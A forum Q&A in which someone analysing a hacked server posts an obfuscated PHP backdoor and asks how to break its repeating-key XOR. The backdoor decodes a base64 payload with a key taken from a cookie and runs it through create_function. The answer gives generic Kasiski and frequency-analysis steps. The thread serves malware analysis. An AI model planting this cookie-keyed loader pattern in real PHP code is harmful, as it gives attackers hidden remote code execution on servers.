Help me understand how to actually break an XOR/Vigenère cipher

Question

My friend's server was recently hacked and I'm trying to decipher the malicious files I found in hopes of understanding the hack better. I can tell that they're using an XOR/Vigenère cipher and I've tried to learn everything I could about that on my own, but while I am a programmer I'm not a cryptographer and most of what I've found has gone over my head. I'm wondering if someone here would be kind enough to walk me through what I would actually need to do to break the cipher.

Here's the code in question:

<?php

$vewusl = 'ZW5jMTMz...XBzazt9KCRzJXMn'; //Truncated from 1165 lines of encrypted data by me, the guy asking this question

$_igophqd = create_function ('$vewusl', igophqd (base64_decode (
    'VRNSChUZGhAfX1FYQwpBU0IbBwBKBAJQbVQEUAtQUEEQTRQwXXtWcmJwZ29lVmhjIGo'.
    'DJ0EndzJ3QzV7D3FRIlg3aSNZfGZhZmB4f2YFfGUwUDQnaDBnMWdmJGVUAFcyRxZrNF'.
    '54anFfWlVxcQZ3ZggGISNvIGI3YGE2YjVhbyZmEVY3BXtqZ094fWICK3xvUmUvMlE3c'.
    'yd0VARiNkB0MwAGcCFgbFFiUHNncEsjVHEFegckCSBlImdDKGExYmUwYQl2N2BoZlJ1'.
    'UnNgYgp1ZTBHJjNSFWYscFMiexNDYTNbKGs+TXR3cQdGdH9yU1NlIFc2InswUDFzVDR'.
    'xVXV3JWEkeyRnAVR2T2x1dGJXUnQOSzwgfCRSNnN9LWI2V20ncQ1xIXB/c2JfDmx2RC'.
    'tzfxpqNiQIIHwgXmEjZTJ9djBlKH4xBE53dQdOfm9xFmZ0DmUiKWtQbiNgUzlwHFB0I'.
    'gAVYCJjb3RjZQZuf2ZSY2RSdTMiCThiN2BhLHZVR2MicQ5iIwQBZXNAA3VmAlZpYQVc'.
    'LSZsCmUhWkMtYjZXeylIUHojdw1mYVxvbHNLI1ZyCWY9JmwodiZkUwBhMWVvNEcrVyR'.
    '0c2BxcQ5jcmISZn8gfQcna1B2IXB5NnsPZlQmdjNqJHd3fGJiD39/ZjNqciRyLDN/N3'.
    'whA3UCUSZudDJcCmIuTXNWd094cWACK1JwDgYnM3wkZSBKeS9iMn1iM1w0agRNe1Z0B'.
    '2R7YUsjVnIOAwAifCt6IgJ5NWExcVEkWzx7I1IIcGVfbHFhcQVhYzBDASdrUHUhc182'.
    'dSZhfDBYN1Y3Ugx0ZWZ8dHFyKFRmBWE2IwgWYjdgYS52E1ByJmI/cS5dY3x2T1VkZl8'.
    'wc1YndjQ7fCR+NnBqJmIzXHQ5YlB4BGMNZndPYGVmZVt2ZgpqAydBJ3cyd0MoYTVQYi'.
    'QBIHUzY1Fwdwd0fmVEK2F1J3EiJG8OViFwfiR1DF96MFg3ZjFndHN2BlF4cXYaYWIwe'.
    'TI0XiNFJmRlJmslfmQmYgpmNGcBVHR1e1BydlNzcFJ2PTl7O3YiAwQ7ZAx5CEYZSRNC'.
    'anp9f3x/cxdoEURFPUEAEVUAVwEaF08USBQSPhdJE0JqandiYXNkbBQqZGMybC0uajU'.
    'TORttSBpN'
), $_COOKIE [str_replace('.', '_', $_SERVER['HTTP_HOST'])]) . ';'); $_igophqd($vewusl); 

function igophqd ($udopz, $bgsqhbl) { return $udopz ^ str_repeat ($bgsqhbl, ceil (strlen ($udopz) / strlen ($bgsqhbl))); }  

I obviously don't have access to the data stored in the cookie. All the malicious files are the same, so I don't think we can use two of them to figure out the key.

Since the encrypted code creates a function, I assume it's executable PHP which likely has spaces, dollar signs, and other coding symbols. I tried using every tool I could find to help with this (xortool, XORRepeatingKeyCrypto, XORSearch & XORStrings, xorbruteforcer, iheartxor, NoMoreXOR) but mind you I'm not really trained to use any of those.

Based on my analysis I suspect the key contains x62 and is either 32, 36, or 28 characters long, but again, I'm not an expert at this stuff. The key may also contain: x16,x17,x0d,x0f,x33,x66,x36,6,T,12...

I understand the programming part just fine, but I thought it might be useful to have the context. Here's the just the cipher I'm trying to break, which I think is XOR encrypted with a repeating key:

VRNSChUZGhAfX1FYQwpBU0IbBwBKBAJQbVQEUAtQUEEQTRQwXXtWcmJwZ29lVmhjIGoDJ0EndzJ3QzV7D3FRIlg3aSNZfGZhZmB4f2YFfGUwUDQnaDBnMWdmJGVUAFcyRxZrNF54anFfWlVxcQZ3ZggGISNvIGI3YGE2YjVhbyZmEVY3BXtqZ094fWICK3xvUmUvMlE3cyd0VARiNkB0MwAGcCFgbFFiUHNncEsjVHEFegckCSBlImdDKGExYmUwYQl2N2BoZlJ1UnNgYgp1ZTBHJjNSFWYscFMiexNDYTNbKGs+TXR3cQdGdH9yU1NlIFc2InswUDFzVDRxVXV3JWEkeyRnAVR2T2x1dGJXUnQOSzwgfCRSNnN9LWI2V20ncQ1xIXB/c2JfDmx2RCtzfxpqNiQIIHwgXmEjZTJ9djBlKH4xBE53dQdOfm9xFmZ0DmUiKWtQbiNgUzlwHFB0IgAVYCJjb3RjZQZuf2ZSY2RSdTMiCThiN2BhLHZVR2MicQ5iIwQBZXNAA3VmAlZpYQVcLSZsCmUhWkMtYjZXeylIUHojdw1mYVxvbHNLI1ZyCWY9JmwodiZkUwBhMWVvNEcrVyR0c2BxcQ5jcmISZn8gfQcna1B2IXB5NnsPZlQmdjNqJHd3fGJiD39/ZjNqciRyLDN/N3whA3UCUSZudDJcCmIuTXNWd094cWACK1JwDgYnM3wkZSBKeS9iMn1iM1w0agRNe1Z0B2R7YUsjVnIOAwAifCt6IgJ5NWExcVEkWzx7I1IIcGVfbHFhcQVhYzBDASdrUHUhc182dSZhfDBYN1Y3Ugx0ZWZ8dHFyKFRmBWE2IwgWYjdgYS52E1ByJmI/cS5dY3x2T1VkZl8wc1YndjQ7fCR+NnBqJmIzXHQ5YlB4BGMNZndPYGVmZVt2ZgpqAydBJ3cyd0MoYTVQYiQBIHUzY1Fwdwd0fmVEK2F1J3EiJG8OViFwfiR1DF96MFg3ZjFndHN2BlF4cXYaYWIweTI0XiNFJmRlJmslfmQmYgpmNGcBVHR1e1BydlNzcFJ2PTl7O3YiAwQ7ZAx5CEYZSRNCanp9f3x/cxdoEURFPUEAEVUAVwEaF08USBQSPhdJE0JqandiYXNkbBQqZGMybC0uajUTORttSBpN

And the base64 decoded version:

5513520a15191a101f5f5158430a4153421b07004a0402506d5404500b505041104d14305d7b56726270676f65566863206a0327412777327743357b0f71512258376923597c66616660787f66057c653050342768306731676624655400573247166b345e786a715f5a557171067766080621236f2062376061366235616f2666115637057b6a674f787d62022b7c6f52652f3251377327745404623640743300067021606c5162507367704b235471057a0724092065226743286131626530610976376068665275527360620a7565304726335215662c7053227b134361335b286b3e4d7477710746747f72535365205736227b305031735434715575772561247b24670154764f6c7574625752740e4b3c207c245236737d2d6236576d27710d7121707f73625f0e6c76442b737f1a6a362408207c205e612365327d763065287e31044e7775074e7e6f711666740e6522296b506e23605339701c50742200156022636f746365066e7f66526364527533220938623760612c7655476322710e6223040165734003756602566961055c2d266c0a65215a432d6236577b2948507a23770d66615c6f6c734b23567209663d266c2876266453006131656f34472b572474736071710e63726212667f207d07276b5076217079367b0f66542676336a2477777c62620f7f7f66336a7224722c337f377c2103750251266e74325c0a622e4d7356774f787160022b52700e0627337c2465204a792f62327d62335c346a044d7b567407647b614b2356720e0300227c2b7a2202793561317151245b3c7b23520870655f6c716171056163304301276b507521735f367526617c3058375637520c7465667c747172285466056136230816623760612e7613507226623f712e5d637c764f5564665f3073562776343b7c247e36706a2662335c743962507804630d66774f606566655b76660a6a0327412777327743286135506224012075336351707707747e65442b6175277122246f0e5621707e24750c5f7a30583766316774737606517871761a6162307932345e2345266465266b257e6426620a663467015474757b50727653737052763d397b3b762203043b640c790846194913426a7a7d7f7c7f7317681144453d410011550057011a174f144814123e174913426a6a77626173646c142a6463326c2d2e6a3513391b6d481a4d

Or am I supposed to retain the spaces in the base64 decoded output? I'm guessing that I don't retain the spaces and that this is what I should be trying to break, but these are the kinds of things I'm not sure about.

I also created a gist with the full file contents in case we need what's in $vewusl in order to crack this cipher.

Answer 1

When it comes to break some encrypted texts, you have to take a few hypothesis and check it with caution (it may make you loose a lot of time... believe me).

The first Base64 decoding seems to be quite promising and lead to some hexadecimal blob that you should analyze first before trying to step further.

I would advise you to make a frequency analysis of the hexadecimal blob grouping the characters two by two (sounds pretty common as two characters in hexadecimal is a byte).

I wouldn't be surprised if:

• All the hexadecimal code in the blob are within the printable zone in the ASCII table.
• Once translated back into ASCII table, the message will have no meaning.

It should means that another encoding/encryption has been applied to the blob which can be either XOR-encryption or Vigenere encryption.

The good news is that both encryption (Vigenere and XOR) are quite easily breakable with the same approach.

1. Perform a Kasiski examination of the encrypted text to find the size of the key (the length of the encoding word if it is a Vigenere and the length of the XORing vector if it is XOR-encryption).

2. Perform a frequency analysis for each letter/byte of the Vigenere/XOR password.

3. Add some intuition and guessing to reach the full text.

I hope this will help you a bit.